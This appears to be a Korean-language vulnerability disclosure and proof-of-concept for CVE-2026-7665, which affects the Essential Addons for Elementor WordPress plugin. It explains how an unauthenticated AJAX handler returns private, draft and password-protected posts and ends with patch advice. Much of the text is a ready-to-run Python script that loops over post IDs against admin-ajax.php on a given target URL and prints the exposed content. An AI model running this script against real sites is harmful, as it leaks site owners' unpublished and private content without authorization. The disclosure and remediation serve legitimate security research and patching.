
CVE-2026-7665에 대한 개념 증명 익스플로잇으로, Essential Addons for Elementor의 인증되지 않은 정보 노출 취약점으로, WordPress의 비공개, 임시 저장, 비밀번호로 보호된 게시물을 추출할 수 있습니다.
| 필드 | 세부사항 |
|---|
| CVE ID | CVE-2026-7665 |
| 심각도 | 중간 |
| CVSS 점수 | 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| 영향받는 플러그인 | Essential Addons for Elementor |
| 영향받는 버전 | ≤ 6.6.4 |
| 활성 설치 수 | 1,000,000+ |
| CVE 할당 기관 | Wordfence (CNA) |
| 공개일 | 2026년 6월 |
| 연구자 | Anirudh Makkar |
Essential Addons for Elementor의 ajax_load_more AJAX 핸들러는 게시물 콘텐츠를 반환하기 전에 게시물 가시성을 강제하지 않았습니다. 이로 인해 인증되지 않은 공격자가 조작된 wp-admin/admin-ajax.php 요청을 보내 비공개, 비밀번호 보호, 임시 저장 WordPress 게시물을 읽을 수 있었습니다. 인증이나 nonce가 필요하지 않았습니다.
플러그인은 wp_ajax_nopriv_eael_post_grid_load_more 액션 훅에 핸들러를 등록하여 인증되지 않은 방문자가 접근할 수 있도록 합니다. 이 핸들러가 '더 불러오기' 페이지네이션 기능을 위해 WP_Query를 실행하여 게시물을 가져올 때, current_user_can('read_post', $post_id)를 호출하거나 요청 사용자의 권한에 대해 get_post_status()를 확인하지 않습니다.
WordPress 코어는 AJAX 핸들러에서 게시물 수준 권한 부여를 플러그인에 의존합니다. 자동으로 수행하지 않습니다. 이 검사가 없으면 핸들러가 게시물 가시성 설정에 관계없이 전체 게시물 콘텐츠를 반환합니다.
wp-admin/admin-ajax.php
→ do_action('wp_ajax_nopriv_eael_post_grid_load_more')
→ Essential_Addons_for_Elementor\Classes\Bootstrap::eael_post_grid_load_more()
→ WP_Query([
'post_status' => ['publish', 'private', 'draft'], // 모든 상태 반환
...
])
→ [권한 검사 없이 전체 게시물 콘텐츠 반환]
인증되지 않은 공격자는 다음을 열거하고 읽을 수 있습니다:
이로 인해 민감한 비즈니스 콘텐츠, 미공개 발표, WordPress 게시물로 게시된 내부 문서, 또는 WordPress 편집기를 통해 관리되는 기타 비공개 콘텐츠가 노출될 수 있습니다.
#!/usr/bin/env python3
"""
CVE-2026-7665 — Unauthenticated Information Disclosure
Essential Addons for Elementor <= 6.6.4
Usage: python3 poc.py https://target.example.com [post_id]
Iterates post IDs to extract private/draft/password-protected content.
For educational and authorized testing purposes only.
"""
import requests
import sys
import json
def check_target(base_url):
"""Verify the plugin is present."""
resp = requests.get(f"{base_url}/wp-content/plugins/essential-addons-for-elementor-lite/", timeout=8)
return resp.status_code != 404
def fetch_private_post(base_url, post_id, widget_id="1", page_id="1"):
url = f"{base_url}/wp-admin/admin-ajax.php"
data = {
"action": "eael_post_grid_load_more",
"widget_id": widget_id,
"page_id": page_id,
"post_id": str(post_id),
"page": "2",
}
try:
resp = requests.post(url, data=data, timeout=10)
if resp.status_code == 200 and resp.text.strip() not in ("-1", "0", ""):
return resp.text
except requests.RequestException:
pass
return None
def main():
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <target_url> [start_id] [end_id]")
sys.exit(1)
target = sys.argv[1].rstrip("/")
start_id = int(sys.argv[2]) if len(sys.argv) > 2 else 1
end_id = int(sys.argv[3]) if len(sys.argv) > 3 else 50
print(f"[*] Target: {target}")
print(f"[*] Probing post IDs {start_id}–{end_id}")
if not check_target(target):
print("[!] Plugin not detected — target may be patched or not running EAEL")
found = 0
for pid in range(start_id, end_id + 1):
result = fetch_private_post(target, pid)
if result:
found += 1
print(f"\n[+] Post ID {pid} — content exposed ({len(result)} bytes)")
print(result[:300])
print("..." if len(result) > 300 else "")
print(f"\n[*] Done. {found} post(s) with exposed content found.")
if __name__ == "__main__":
main()
Essential Addons for Elementor를 버전 6.6.5 이상으로 업데이트하세요.
수정 사항은 로드-모어 핸들러 내부에서 쿼리 결과에 게시물을 포함하기 전에 current_user_can('read_post', $post_id) 검사를 추가합니다.
보고자: Anirudh Makkar · LinkedIn